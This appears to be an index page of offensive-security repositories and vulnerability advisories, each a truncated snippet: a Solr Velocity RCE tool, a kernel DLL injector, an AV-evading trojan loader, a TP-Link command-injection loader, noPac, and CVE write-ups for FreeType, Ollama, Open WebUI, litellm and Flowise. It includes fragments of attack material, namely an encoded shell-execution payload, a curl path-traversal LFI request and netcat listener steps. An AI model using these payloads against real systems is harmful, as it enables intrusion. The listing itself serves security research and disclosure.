Kernel_VADInjector

Driver DLL Injector Driver DLL Injector 説明 Driver DLL Injector は、ユーザーが好みのマッパーを使用して任意のドライバーをロードできるようにする強力なツールです。KDmapper などの未署名ドライバーローダーの機能を活用して、このインジェクタは Windows 10 2004 x64 プロセス向けに構築・テストされました。 ドライバー部分: ドライバーは、ユーザーモードプロセスとの通信のために、PatchGuard セーフ関数として知られる xKdEnumerateDebuggingDevices...

solr_rce

Apache Solr RCE via Velocity template python 사용법: python solrrce.py http://x.x.x.x:8983 command getshell 인코딩 payload http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 Solr 소개 Solr는 Apache Lucene 프로젝트의 오픈소스 엔터프라이즈 검색 플랫폼입니다. 주요 기능으로는 전문full-text...

SpookFlare

SpookFlare SpookFlare has a different perspective to bypass security measures and it gives you the opportunity to bypass the endpoint countermeasures at the client-side detection and network-side detection. SpookFlare is a loader/dropper generator for Meterpreter, Empire, Koadic etc. SpookFlare h...

volatility

This project is archived. See Volatility 3 for modern investigations: https://github.com/volatilityfoundation/volatility3 ============================================================================ Volatility Framework - Volatile memory extraction utility framework The Volatility Framework is a...

HvLoader

HvLoader Overview HvLoader.efi is an EFI application for loading an external hypervisor loader. HvLoader.efi loads a given hypervisor loader binary DLL, EFI, etc., and calls it's entry point passing HvLoader.efi ImageHandle. This way the hypervisor loader binary has access to HvLoader.efi's comma...

UBUNTU-CVE-2026-95512

A flaw was found in FreeType, specifically within its CID font loader. A remote attacker could exploit this vulnerability by tricking a user into opening content that embeds or references a specially crafted CID-keyed font. This crafted font can cause repeated allocations and decryptions of...

Linux Distros Unpatched Vulnerability : CVE-2026-95512

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A flaw was found in FreeType, specifically within its CID font loader. A remote attacker could exploit this vulnerability by tricking a user into opening conten...

CVE-2026-95512

A flaw was found in FreeType, specifically within its CID font loader. A remote attacker could exploit this vulnerability by tricking a user into opening content that embeds or references a specially crafted CID-keyed font. This crafted font can cause repeated allocations and decryptions of...

shouganaiyo-loader

shouganaiyo-loader: Java 에이전트를 위한 강제 진입 shouganaiyo-loader는 크로스 플랫폼 Frida 기반 Node.js 명령줄 도구로, JVM이 에이전트 연결attach API를 비활성화했는지 여부와 관계없이 Java 프로세스가 Java/JVMTI 에이전트를 로드하도록 강제합니다. 설치 $ sudo npm install -g shouganaiyo-loader 소스에서 빌드 $ git clone https://github.com/nccgroup/shouganaiyo-loader $ cd...

CVE-2026-79298

🐞 CVE-2026-79298: Howyar SysReturn における UEFI Secure Boot バイパスの不完全な修復 脆弱性は修正された。バイナリは失効させられた。しかし、修正されたのはアーキテクチャの半分だけであった。18か月後、IA-32 ブートパスは依然として同じカスタム PE ローダーを搭載し、同じ Secure Boot 検証をバイパスし、同じ失効済み Authenticode ハッシュを保持していた。そして2026年7月まで、SysReturn NetCopy のすべてのコピーに商用として出荷され続けていた。これが CVE-2026-79298 である。 ...

Apache-Solr-RCE-via-Velocity-template

Apache-Solr-RCE-via-Velocity-template 참고 링크 취약점 발생 원인: 1. 공격자가 Solr 콘솔에 직접 접근할 수 있는 경우, /노드명/config 형식의 POST 요청을 보내 해당 노드의 구성 파일을 변경할 수 있습니다. 2. Apache Solr는 기본적으로 VelocityResponseWriter 플러그인을 통합합니다. 해당 플러그인의 초기화 매개변수 중 params.resource.loader.enabled 옵션은 매개변수 리소스 로더가 Solr 요청 매개변수에서 템플릿을 지정하도록 허용할...

CVE-2026-7482

🚨 CVE-2026-7482: Ollama におけるヒープバッファオーバーリード 📝 説明 CVE-2026-7482 は、ローカル言語モデルを実行するためのオープンソースフレームワークである Ollama の /api/create および /api/push エンドポイントにおける、重大なヒープバッファオーバーリード （ Heap Buffer Over-Read ）の脆弱性を特定したものです。 この脆弱性により、リモートかつ認証されていない攻撃者がプロセスメモリを漏えい させ、以下のような機密データを暴露する可能性があります: APIキーおよび認証トークン 環境変数...

Open WebUI: SSRF into internal services via DNS rebinding in the Playwright web loader

SummaryWith the Playwright web loader enabled, Open WebUI checks the address behind a user-submitted URL before allowing the request, then handed the request to the browser to perform. The browser resolved the hostname a second time, on its own, and that answer was never checked. An attacker who...

BerriAI litellm has SSRF via Unvalidated spec_path URL in MCP OpenAPI Spec Loader

A weakness has been identified in BerriAI litellm up to 1.82.2. Affected by this vulnerability is the function loadopenapispecasync of the file litellm/proxy/experimental/mcpserver/openapitomcpgenerator.py of the component MCP OpenAPI Spec Loader. This manipulation of the argument specpath causes...

Bypass_AV

ほとんどのアンチウイルスとサンドボックスを回避できるトロイの木馬サンプル 以下、このトロイの木馬に関わる技術について説明します。shellcodeとローダーの2つの側面から解説します。 ローダー部分 1.アンチサンドボックス...

flowise-arbitrary-file-read-getFileFromStorage

Flowise 인증 우회 임의 파일 읽기 getFileFromStorage — 제안된 신규 CVE CVE-2025-71338쓰기write 싱크과 별개의 취약점 입니다. 이는 Flowise 문서 저장소 로더 "리하이드레이션rehydrate" 경로에서 인증 없이 가능한 임의 파일 읽기 로, 1.7.1 – 2.2.3 에 영향이 있으며 2.2.4 에서 수정되었습니다. /root/.flowise/encryption.key를 읽으면 저장된 모든 공급자 자격 증명을 해독하는 키를 얻을 수 있습니다 → 전체 자격 증명 탈취. 목차 파일| 용...

wordpress-cve-2026-87902

CVE-2026-87902 — Conditional LFI Love for Humans - Keep Simple WordPress Core +/tmp/pwn.php' curl -s 'http://10.137.137.49:18092/?pageid=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&=id' Reverse Shell...

CVE-2023-1389

TP-Link Archer AX21 - 인증되지 않은 명령 주입 Loader POC CVE-2023-1389 익스플로잇 제목: TP-Link Archer AX21 - 인증되지 않은 명령 주입 발견 날짜 : 07/25/2023 익스플로잇 작성자: Voyag3r How to Use :- Scanning - Use Zmap : zmap -p 80 -o list.txt NetCat Listener - apt install netcat -y - nc lnvp Loader - go run . --host= --port=...

Invoke-noPac

Invoke-noPac 이 .Net 어셈블리는 제 포크 https://github.com/ricardojba/noPac 를 기반으로 하며, 원본을 개선하기 위해 몇 가지 코드 변경 사항이 있습니다. PowerSharpPack 스타일의 .Net Assembly 로더로, CVE-2021-42287 - CVE-2021-42278 스캐너 및 익스플로잇 noPac을 위한 것입니다. 사용법: Set-PSReadlineOption -HistorySaveStyle SaveNothing...

CVE-2026-103641

A flaw was found in GEGL. The Radiance HDR loader reads past the end of a memory-mapped image when an uncompressed scanline is shorter than the width declared in the file header. Opening a crafted HDR file crashes the application that uses the loader...